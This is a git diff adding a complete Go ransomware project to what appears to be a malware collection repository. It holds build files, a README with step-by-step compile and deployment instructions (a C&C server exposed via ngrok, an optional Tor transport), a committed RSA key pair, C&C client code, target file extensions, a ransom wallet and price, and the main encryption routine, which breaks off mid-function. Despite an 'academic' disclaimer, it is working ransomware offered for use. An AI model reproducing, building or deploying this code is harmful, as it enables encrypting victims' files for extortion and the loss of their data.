ransomware/Dockerfile b/Malwares/Advanced Malware/Kenyatta ransomware/Dockerfilenew file mode 100644index 0000000..18c7ab1--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/Dockerfile@@ -0,0 +1,7 @@+FROM golang:latest+ENV WORKDIR /app+ENV GOROOT /usr/local/go+ADD . $WORKDIR+WORKDIR $WORKDIR+RUN make deps+VOLUME ["/app/bin"]\ No newline at end of filediff --git a/Malwares/Advanced Malware/Kenyatta ransomware/Makefile b/Malwares/Advanced Malware/Kenyatta ransomware/Makefilenew file mode 100644index 0000000..6b3489a--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/Makefile@@ -0,0 +1,39 @@+.PHONY: all deps++all: build clean++PROJECT_DIR=$(shell pwd)+BUILD_DIR=$(PROJECT_DIR)/build+BIN_DIR=$(PROJECT_DIR)/bin+SERVER_HOST?=localhost+SERVER_PORT?=8080+SERVER_URL=http://$(SERVER_HOST):$(SERVER_PORT)++LINKER_VARS=-X main.ServerBaseURL=$(SERVER_URL) -X main.UseTor=$(USE_TOR)++deps:+ go mod download+ env GO111MODULE=off go get -u github.com/akavel/rsrc \+ github.com/jteeuwen/go-bindata/...++pre-build: clean-bin+ mkdir -p $(BUILD_DIR)/ransomware $(BUILD_DIR)/unlocker $(BUILD_DIR)/server+ openssl genrsa -out $(BUILD_DIR)/server/private.pem 4096+ openssl rsa -in $(BUILD_DIR)/server/private.pem -outform PEM -pubout -out $(BUILD_DIR)/ransomware/public.pem+ cd $(BUILD_DIR)/ransomware && go-bindata -pkg main -o public_key.go public.pem+ rsrc -manifest ransomware.manifest -ico icon.ico -o $(BUILD_DIR)/ransomware/ransomware.syso+ cp $(BUILD_DIR)/ransomware/ransomware.syso $(BUILD_DIR)/unlocker/unlocker.syso+ cd $(PROJECT_DIR)/cmd && cp -r ransomware unlocker server $(BUILD_DIR)+ cd $(BUILD_DIR)/server && env GOOS=linux go run $(GOROOT)/src/crypto/tls/generate_cert.go --host $(SERVER_HOST)+ mkdir -p $(BIN_DIR)/server++build: pre-build+ cd $(BUILD_DIR)/ransomware && GOOS=windows GOARCH=386 go build --ldflags "-s -w $(HIDDEN) $(LINKER_VARS)" -o $(BIN_DIR)/ransomware.exe+ cd $(BUILD_DIR)/unlocker && GOOS=windows GOARCH=386 go build --ldflags "-s -w" -o $(BIN_DIR)/unlocker.exe+ cd $(BUILD_DIR)/server && go build --ldflags "-s -w" && mv `ls|grep -v 'server.go'` $(BIN_DIR)/server++clean:+ rm -r $(BUILD_DIR) || true++clean-bin:+ rm -r $(BIN_DIR) || truediff --git a/Malwares/Advanced Malware/Kenyatta ransomware/README.md b/Malwares/Advanced Malware/Kenyatta ransomware/README.mdnew file mode 100644index 0000000..7dafed1--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/README.md@@ -0,0 +1,170 @@+# Kenyatta Ransomware++[](https://travis-ci.org/mauri870/ransomware)++> Note 1: This project is purely academic, use at your own risk. I do not encourage in any way the use of this software illegally or to attack targets without their previous authorization.++> Note 2: Unfortunatelly now some AVs (including Windows Defender) detects the unlocker as a virus. Disable any antivirus to play with the project.++**Remember, security is always a double-edged sword**+++### What is Ransomware?++Ransomware is a type of malware that prevents or limits users from accessing their system, either by locking the system's screen or by locking the users' files unless a ransom is paid. More modern ransomware families, collectively categorized as crypto-ransomware, encrypt certain file types on infected systems and forces users to pay the ransom through certain online payment methods to get a decrypt key.++### Project Summary++This project was developed in my pursuit of malware reverse engineering and threat Inteligence. Basically, it will encrypt your files in background using AES-256-CTR, a strong encryption algorithm, using RSA-4096 to secure the exchange with the server, optionally using the Tor SOCKS5 Proxy. The base functionality is what you see in the famous ransomware Cryptolocker.++The project is composed by three parts, the server, the malware and the unlocker.++The server store the victim's identification key along with the encryption key used by the malware.++The malware encrypt with a RSA-4096 (RSA-OAEP-4096 + SHA256) public key any payload before send then to the server. This approach with the optional Tor Proxy and a `.onion` domain allow you to hide almost completely your server.++### Features++- Can Run in the Background+- Encrypt files using AES-256-CTR(Counter Mode) with random IV for each file.+- Multithreading.+- RSA-4096 to secure the client/server communication.+- Includes Unlocker.+- Optional TOR Proxy support.+- Use an AES CTR Cypher with stream encryption to avoid loading an entire file into memory.+- Walk all drives by default.+- Docker image for compilation.++### Building the binaries++> DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks!++First of all download the project outside your $GOPATH:++```bash+git clone github.com/alvin-tosh/Malware-Exhibit/tree/main/Advanced%20Malware/Kenyatta%20ransomware+cd ransomware+```++> If you have Docker skip to the next section.++You need Go at least 1.11.2 with the `$GOPATH/bin` in your $PATH and `$GOROOT` pointing to your Go installation folder. For me:++```bash+export GOPATH=~/gopath+export PATH=$PATH:$GOPATH/bin+export GOROOT=/usr/local/go+```++Building the project requires a lot of steps, like the RSA key generation, build three binaries, embed manifest files, so, let `make` do your job:++```bash+make deps+make+```++You can build the server for windows with `make -e GOOS=windows`.++#### Docker++```bash+./build-docker.sh make+```++#### Config Parameters++You can change some of the configs during compilation. Instead of run only `make`, you can use the following variables:++```bash+HIDDEN='-H windowsgui' # optional. If present the malware will run in background++USE_TOR=true # optional. If present the malware will download the Tor proxy and use it to contact the server++SERVER_HOST=mydomain.com # the domain used to connect to your server. localhost, 0.0.0.0, 127.0.0.1 works too if you run the server on the same machine as the malware++SERVER_PORT=8080 # the server port, if using a domain you can set this to 80++GOOS=linux # the target os to compile the server. Eg: darwin, linux, windows+```++Example:++`make -e USE_TOR=true SERVER_HOST=mydomain.com SERVER_PORT=80 GOOS=darwin`++The `SERVER_` variables above only apply to the malware. The server has a flag `--port` that you can use to change the port that it will listen.++> DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all your disks!++## Step by Step Demo and How it Works++For this demo I'll use two machines, my personal linux machine and a windows 10 VM.++For the sake of simplicity, I have a folder mapped to the VM, so I can compile from my linux and copy to the vm.++This demo we will use the [Ngrok](https://ngrok.com) tool, this will allow us to expose our server using a domain, but you can use your own domain or ip address if you want. We are also going to enable the Tor transport, so `.onion` domains will work without problems.++First of all lets start our external domain:++```bash+ngrok http 8080+```++This command will give us a url ` http://2af7161c.ngrok.io`. Keep this command running otherwise the malware won't reach your server.++Let's compile the binaries (remember to replace the domain):++```bash+make -e SERVER_HOST=2af7161c.ngrok.io SERVER_PORT=80 USE_TOR=true+```++The `SERVER_PORT` needs to be `80` in this case, since ngrok redirects `2af7161c.ngrok.io:80` to your local server port `8080`.++After build, a binary called `ransomware.exe`, and `unlocker.exe` along with a folder called `server` will be generated in the bin folder. The execution of `ransomware.exe` and `unlocker.exe` (even if you use a diferent GOOS variable during compilation) is locked to windows machines only.++Enter the server directory from another terminal and start it:++```bash+cd bin/server && ./server --port 8080+```++To make sure that all is working correctly, make a http request to `http://2af7161c.ngrok.io`:++```bash+curl http://2af7161c.ngrok.io+```++If you see a `OK` and some logs in the server output you are ready to go.++Now move the `ransomware.exe` and `unlocker.exe` to the VM along with some dummy files to test the malware. You can take a look at [cmd/common.go] to see some configuration options like file extensions to match, directories to scan, skipped folders, max size to match a file among others.++Then simply run the `ransomware.exe` and see the magic happens :smile:++The window that you see can be hidden using the `HIDDEN` option described in the compilation section.++After download, extract and start the Tor proxy, the malware waits until the tor bootstrapping is done and then proceed with the key exchange with the server. The client/server handshake takes place and the client payload, encrypted with an RSA-4096 public key must be correctly decrypted on the server. The victim identification and encryption keys are stored in a Golang embedded database called BoltDB (it also persists on disk). When completed we get into the find, match and encrypt phase, up to N-cores workers start to encrypt files matched by the patterns defined. This proccess is really quick and in seconds all of your files will be gone.++The encryption key exchanged with the server is used to encrypt all of your files. Each file has a random primitive called [IV](https://en.wikipedia.org/wiki/Initialization_vector), generated individually and saved as the first 16 bytes of the encrypted content. The algorithm used is AES-256-CTR, a good AES cypher with streaming mode of operation such that the file size is left intact.++The only two sources of information available about what just happen are the `READ_TO_DECRYPT.html` and `FILES_ENCRYPTED.html` in the Desktop.++In theory, to decrypt your files you need to send an amount of BTC to the attacker's wallet, followed by a contact sending your ID(located on the file created on desktop). If the attacker can confirm your payment it will possibly(or maybe not) return your encryption key and the `unlocker.exe` and you can use then to recover your files. This exchange can be accomplished in several ways and WILL NOT be implemented in this project for obvious reasons.++Let's suppose you get your encryption key back. To recover the correct key point to the following url:++```bash+curl -k http://2af7161c.ngrok.io/api/keys/:id+```++Where `:id` is your identification stored in the file on desktop. After, run the `unlocker.exe` by double click and follow the instructions.++That's it, got your files back :smile:++The server has only two endpoints:++`POST api/keys/add` - Used by the malware to persist new keys. Some verifications are made, like the verification of the RSA autenticity. Returns 204 (empty content) in case of success or a json error.++`GET api/keys/:id` - Id is a 32 characters parameter, representing an Id already persisted. Returns a json containing the encryption key or a json error++## The end++As you can see, building a functional ransomware, with some of the best existing algorithms is not dificult, anyone with some programming skills can build that in any programming language.diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/build-docker.sh b/Malwares/Advanced Malware/Kenyatta ransomware/build-docker.shnew file mode 100644index 0000000..ad47dda--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/build-docker.sh@@ -0,0 +1,31 @@+#!/bin/bash+set -e++# Build the image+echo "Building the image..."++if docker history -q ransomware >/dev/null 2>&1; then+ read -r -p "The image already exists. The project volume mounted can be older. Build it again? [y/N] " response+ case "${response}" in+ [yY]|[yY][eE][sS])+ docker build -t ransomware . ;;+ esac+else+ docker build -t ransomware .+fi+++# Compile the binaries+echo "Compiling the binaries..."++if [ $# -eq 0 ]+ then+ echo "Please inform a command to execute inside the container"+ exit+fi++docker run --rm -v "$PWD/bin":/app/bin ransomware "$@"++# We need change the owner of the binaries generated+echo "Fix binaries permissions..."+sudo chown -R $USER:$USER ./bin/diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/build/ransomware/public.pem b/Malwares/Advanced Malware/Kenyatta ransomware/build/ransomware/public.pemnew file mode 100644index 0000000..510b485--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/build/ransomware/public.pem@@ -0,0 +1,14 @@+-----BEGIN PUBLIC KEY-----+MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAn+zct953M4exvgKS4G36+xCa5wZfB9F9Ai58SP/UGDoN1chLLYt9wMjJ/B1KVLKCiiKknmCrJ47vzq931lDfb+1nSfvbCP3wyZScKTncdsZqfMjvz8+iC9oe7zev05KXRzXpLH99xbRHqzMX+W+aK++Z+UFgwHs8IqzruL1d9JeOn6HGq4AHYFwyel4DuYG5OF+SfRmEF2iEWh1Iqo0L3Jn+7l0XSLOL1KGgnKST0kpfKOhZ0UIuXn35gNuiVAvpwZFPdgw6yNqkt75WJ3XMWzmj+44vsqAZoMjnR/OI5+7PaG/cJcZzaFkYGkydpXYhxl+ty+GQVDdfpZnpHzymN5YFm+LgntE7FctnVDu0wr4ti9/GWDzohW2Llo/NLbEyQGjQkKD3U7Rqz3L1FS1sw5xc9G+FMZdzadTt9QLmwT9Xyav/vZihj/02duge+w8B7mzGoBdWqW/epwRFEESWohhbMn3+xFJAKIma4mRLnLdpGKyhG14Xl5Bt83zMLzlH3s4vYLFVnSlx72bNBR6qkyQUlkZ6+OwHPNW5dUP8GABvaLrEXm/C9e7uRzvutD+DbUGEjpHjUrspCHBO+r8NvAPC3Efgy+ims85c3CTpIPQtYT/wLBfKKkfvgIjhqasJ4PfLKgkOSgwS4jG8W2V9WONFcwqdUL+TPO+mga/sCHZyuE0QcZD1CcCAwEAAQ==+-----END PUBLIC KEY-----diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/build/server/private.pem b/Malwares/Advanced Malware/Kenyatta ransomware/build/server/private.pemnew file mode 100644index 0000000..df930e7--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/build/server/private.pem@@ -0,0 +1,51 @@+-----BEGIN RSA PRIVATE KEY-----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+-----END RSA PRIVATE KEY-----diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/client/client.go b/Malwares/Advanced Malware/Kenyatta ransomware/client/client.gonew file mode 100644index 0000000..6ba5e7c--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/client/client.go@@ -0,0 +1,93 @@+package client++import (+ "fmt"+ "io"+ "net/http"+ "net/url"+ "strings"++ "github.com/mauri870/ransomware/rsa"+ "golang.org/x/net/proxy"+)++const (+ TOR_PROXY_URL = "127.0.0.1:9050"+)++// Client wraps a http client+type Client struct {+ ServerBaseURL string+ PublicKey []byte+ HTTPClient *http.Client+}++// New returns a new client instance+func New(serverBaseURL string, pubKey []byte) *Client {+ return &Client{+ ServerBaseURL: serverBaseURL,+ PublicKey: pubKey,+ HTTPClient: &http.Client{+ Transport: &http.Transport{},+ },+ }+}++// UseTorTransport upgrades the http transport to use the tor proxy+func (c *Client) UseTorTransport() error {+ dialer, err := proxy.SOCKS5("tcp", TOR_PROXY_URL, nil, proxy.Direct)+ if err != nil {+ return err+ }++ c.HTTPClient.Transport = &http.Transport{+ Dial: dialer.Dial,+ }++ return nil+}++// Do make an http request+func (c *Client) Do(method string, endpoint string, body io.Reader, headers map[string]string) (*http.Response, error) {+ req, err := http.NewRequest(method, c.ServerBaseURL+endpoint, body)+ if err != nil {+ return &http.Response{}, err+ }++ for k, header := range headers {+ req.Header.Set(k, header)+ }++ res, err := c.HTTPClient.Do(req)+ if err != nil {+ return &http.Response{}, err+ }++ return res, nil+}++// SendEncryptedPayload send an encrypted payload to server+func (c *Client) SendEncryptedPayload(endpoint, payload string, customHeaders map[string]string) (*http.Response, error) {+ headers := map[string]string{+ "Content-Type": "application/x-www-form-urlencoded",+ }++ for k, v := range customHeaders {+ headers[k] = v+ }++ ciphertext, err := rsa.Encrypt(c.PublicKey, []byte(payload))+ if err != nil {+ return &http.Response{}, err+ }++ data := url.Values{}+ data.Add("payload", string(ciphertext))+ return c.Do("POST", endpoint, strings.NewReader(data.Encode()), headers)+}++// AddNewKeyPair persist a new keypair on server+func (c *Client) AddNewKeyPair(id, encKey string) (*http.Response, error) {+ payload := fmt.Sprintf(`{"id": "%s", "enckey": "%s"}`, id, encKey)+ return c.SendEncryptedPayload("/api/keys/add", payload, map[string]string{})+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/cmd/banner.go b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/banner.gonew file mode 100644index 0000000..c20860f--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/banner.go@@ -0,0 +1,39 @@+package cmd++import (+ "os"++ "github.com/fatih/color"+)++var (+ banner = `+ __________+ \______ \_____ ____ __________ ______ _ _______ _______ ____+ | _/\__ \ / \ / ___/ _ \ / \ \/ \/ /\__ \\_ __ \_/ __ \+ | | \ / __ \| | \\___ ( <_> ) | \ / / __ \| | \/\ ___/+ |____|_ /(____ /___| /____ >____/|___| /\/\_/ (____ /__| \___ >+ \/ \/ \/ \/ \/ \/ \/+ `+ delimiter = `+ ===============================================================================================+ `+)++// Print banner+func PrintBanner() {+ color.New(color.FgCyan).Add(color.Bold).Println(delimiter)+ color.New(color.FgRed).Add(color.Bold).Println(banner)+ color.New(color.FgCyan).Add(color.Bold).Println(delimiter)+}++// Print script usage+func Usage(errmsg string) {+ color.New(color.FgWhite).Add(color.Bold).Printf(+ "%s\n\n"++ "usage: %s\n"++ " %s decrypt key\n"++ " Will try to decrypt your files using the given key\n",+ errmsg, os.Args[0], os.Args[0])+ os.Exit(2)+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/cmd/common.go b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/common.gonew file mode 100644index 0000000..aa79c19--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/common.go@@ -0,0 +1,116 @@+package cmd++import (+ "fmt"+ "log"+ "os"+ "runtime"+ "sync"++ "github.com/mauri870/ransomware/cryptofs"+ "github.com/mauri870/ransomware/utils"+)++var (+ UserDir = fmt.Sprintf("%s\\", utils.GetCurrentUser().HomeDir)++ // Temp Dir+ TempDir = fmt.Sprintf("%s\\", os.Getenv("TEMP"))++ // Directories to walk searching for files+ // By default it will walk throught all available drives+ InterestingDirs = utils.GetDrives()++ // Folders to skip+ SkippedDirs = []string{+ "ProgramData",+ "Windows",+ "bootmgr",+ "$WINDOWS.~BT",+ "Windows.old",+ "Temp",+ "tmp",+ "Program Files",+ "Program Files (x86)",+ "AppData",+ "$Recycle.Bin",+ }++ // Interesting extensions to match files+ InterestingExtensions = []string{+ // Text Files+ "doc", "docx", "msg", "odt", "wpd", "wps", "txt",+ // Data files+ "csv", "pps", "ppt", "pptx",+ // Audio Files+ "aif", "iif", "m3u", "m4a", "mid", "mp3", "mpa", "wav", "wma",+ // Video Files+ "3gp", "3g2", "avi", "flv", "m4v", "mov", "mp4", "mpg", "vob", "wmv",+ // 3D Image files+ "3dm", "3ds", "max", "obj", "blend",+ // Raster Image Files+ "bmp", "gif", "png", "jpeg", "jpg", "psd", "tif", "gif", "ico",+ // Vector Image files+ "ai", "eps", "ps", "svg",+ // Page Layout Files+ "pdf", "indd", "pct", "epub",+ // Spreadsheet Files+ "xls", "xlr", "xlsx",+ // Database Files+ "accdb", "sqlite", "dbf", "mdb", "pdb", "sql", "db",+ // Game Files+ "dem", "gam", "nes", "rom", "sav",+ // Temp Files+ "bkp", "bak", "tmp",+ // Config files+ "cfg", "conf", "ini", "prf",+ // Source files+ "html", "php", "js", "c", "cc", "py", "lua", "go", "java",+ }++ // Max size allowed to match a file, 20MB by default+ MaxFileSize = int64(20 * 1e+6)++ // Indexer index files and control goroutines execution+ Indexer = struct {+ Files chan *cryptofs.File+ sync.WaitGroup+ }{+ Files: make(chan *cryptofs.File),+ }++ // The logger instance+ Logger = func() *log.Logger {+ // The default destination is os.Stderr, but you can set any io.Writer+ // as the log output. Use ioutil.Discard to ignore the log output+ //+ // Example with a file:+ // f, err := os.OpenFile(TempDir+"example.log", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)+ // handle error...+ // return log.New(f, "optional prefix", log.LstdFlags)+ //+ return log.New(os.Stderr, "", log.LstdFlags)+ }()++ // Workers processing the files+ NumWorkers = runtime.NumCPU()++ // Extension appended to files after encryption+ EncryptionExtension = ".encrypted"++ // Your wallet address+ Wallet = "FD0AhH61ona6fXS62RSQKhNF07Ijx5SBQO"++ // Your contact email+ ContactEmail = "[email protected]"++ // The ransom to pay+ Price = "0.345 BTC"+)++// Execute only on windows+func CheckOS() {+ if runtime.GOOS != "windows" {+ Logger.Fatalln("Sorry, but your OS is currently not supported. Try again with a windows machine")+ }+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/cmd/ransomware/ransomware.go b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/ransomware/ransomware.gonew file mode 100644index 0000000..6ca4eb5--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/cmd/ransomware/ransomware.go@@ -0,0 +1,299 @@+// +build windows+// +build go1.8++package main++import (+ "encoding/base64"+ "encoding/json"+ "fmt"+ "io/ioutil"+ "log"+ "os"+ "path/filepath"+ "strings"+ "sync"+ "time"++ "github.com/mauri870/ransomware/client"+ "github.com/mauri870/ransomware/cmd"+ "github.com/mauri870/ransomware/cryptofs"+ "github.com/mauri870/ransomware/tor"+ "github.com/mauri870/ransomware/utils"+)++var (+ // If the program should use the tor proxy to contact the server+ UseTor string++ // Time to keep trying persist new keys on server+ SecondsToTimeout = 5.0++ // ServerBaseURL is the server base url injected on compile time+ ServerBaseURL string++ // Client is the client for the ransomware server+ Client *client.Client++ // Create a struct to store the files to rename after encryption+ FilesToRename struct {+ Files []*cryptofs.File+ sync.Mutex+ }+)++func init() {+ // If you compile this program without "-H windowsgui"+ // you can see a console window with all actions performed by+ // the malware. Otherwise, the prints above and all logs will be+ // discarted and it will run in background+ //+ // Fun ASCII+ cmd.PrintBanner()++ // Execution locked for windows+ cmd.CheckOS()+}++func main() {+ // Read the go-bindata embedded public key+ pubkey, err := Asset("public.pem")+ if err != nil {+ cmd.Logger.Println(err)+ return+ }++ // http client instance+ Client = client.New(ServerBaseURL, pubkey)++ if UseTor == "true" {+ cmd.Logger.Println("Tor transport enabled")+ err = Client.UseTorTransport()+ if err != nil {+ cmd.Logger.Println(err)+ return+ }++ cmd.Logger.Println("Downloading the proxy")+ torProxy := tor.New(cmd.TempDir)+ torProxy.DownloadAndExtract()++ cmd.Logger.Println("Waiting tor bootstrap to complete")+ torProxy.Start()+ cmd.Logger.Println("Tor is now live")++ defer func() {+ log.Println("Shutting down Tor and running cleanup")+ torProxy.Kill()+ torProxy.Clean()+ }()+ }++ // Hannibal ad portas+ encryptFiles()++ // If in console mode, wait for enter to close the window+ var s string+ fmt.Println("Press enter to quit")+ fmt.Scanf("%s", &s)+}++func encryptFiles() {+ keys := make(map[string]string)+ start := time.Now()+ // Loop creating new keys if server return a validation error+ for {+ // Check for timeout+ if duration := time.Since(start); duration.Seconds() >= SecondsToTimeout {+ cmd.Logger.Println("Timeout reached. Aborting...")+ return+ }++ // Generate the id and encryption key+ keys["id"], _ = utils.GenerateRandomANString(32)+ keys["enckey"], _ = utils.GenerateRandomANString(32)++ // Persist the key pair on server+ res, err := Client.AddNewKeyPair(keys["id"], keys["enckey"])+ if err != nil {+ cmd.Logger.Println("Ops, something went terribly wrong when contacting the C&C... Aborting...")+ cmd.Logger.Println(err)+ return+ }++ // handle possible response statuses+ switch res.StatusCode {+ case 200, 204:+ // \o/ Well done+ break+ default:+ response := struct {+ Status int `json:"status"`+ Message string `json:"message"`+ }{}+ // Parse the json response+ if err = json.NewDecoder(res.Body).Decode(&response); err != nil {+ cmd.Logger.Println(err)+ continue+ }+ cmd.Logger.Printf("%d - %s\n", response.Status, response.Message)+ continue+ }++ // Success, proceed+ break+ }++ cmd.Logger.Println("Walking interesting dirs and indexing files...")++ // Add a goroutine to the WaitGroup+ cmd.Indexer.Add(1)++ // Indexing files in a concurrently thread+ go func() {+ // Decrease the wg count after finish this goroutine+ defer cmd.Indexer.Done()++ // Loop over the interesting directories+ for _, folder := range cmd.InterestingDirs {+ filepath.Walk(folder, func(path string, f os.FileInfo, err error) error {+ // we doesn't care about the err returned here+ cmd.Logger.Println("Walking " + path)++ if f.IsDir() && utils.SliceContainsSubstring(filepath.Base(path), cmd.SkippedDirs) {+ cmd.Logger.Printf("Skipping dir %s", path)+ return filepath.SkipDir+ }++ ext := strings.ToLower(filepath.Ext(path))++ // If the file is not a folder and have a size lower than the max specified+ // The ext must have at least the dot and the extension letter(s)+ if !f.IsDir() && f.Size() <= cmd.MaxFileSize && len(ext) >= 2 {+ // Matching extensions+ if utils.StringInSlice(ext[1:], cmd.InterestingExtensions) {+ // Each file is processed by a free worker on the pool+ // Send the file to the MatchedFiles channel then workers+ // can imediatelly proccess then+ cmd.Logger.Println("Matched:", path)+ cmd.Indexer.Files <- &cryptofs.File{FileInfo: f, Extension: ext[1:], Path: path}++ //for each file we need wait for the goroutine to finish+ cmd.Indexer.Add(1)+ }+ }+ return nil+ })+ }++ // Close the MatchedFiles channel after all files have been indexed and send to then+ close(cmd.Indexer.Files)+ }()++ // Process files that are sended to the channel+ // Launch NumWorkers workers for handle the files concurrently+ for i := 0; i < cmd.NumWorkers; i++ {+ go func() {+ for {+ select {+ case file, ok := <-cmd.Indexer.Files:+ // Check if has nothing to receive from the channel(it's closed)+ if !ok {+ return+ }+ defer cmd.Indexer.Done()++ cmd.Logger.Printf("Encrypting %s...\n", file.Path)++ // We need make a temporary copy of the file for store the encrypted content+ // before move then to the original file+ // This is necessary 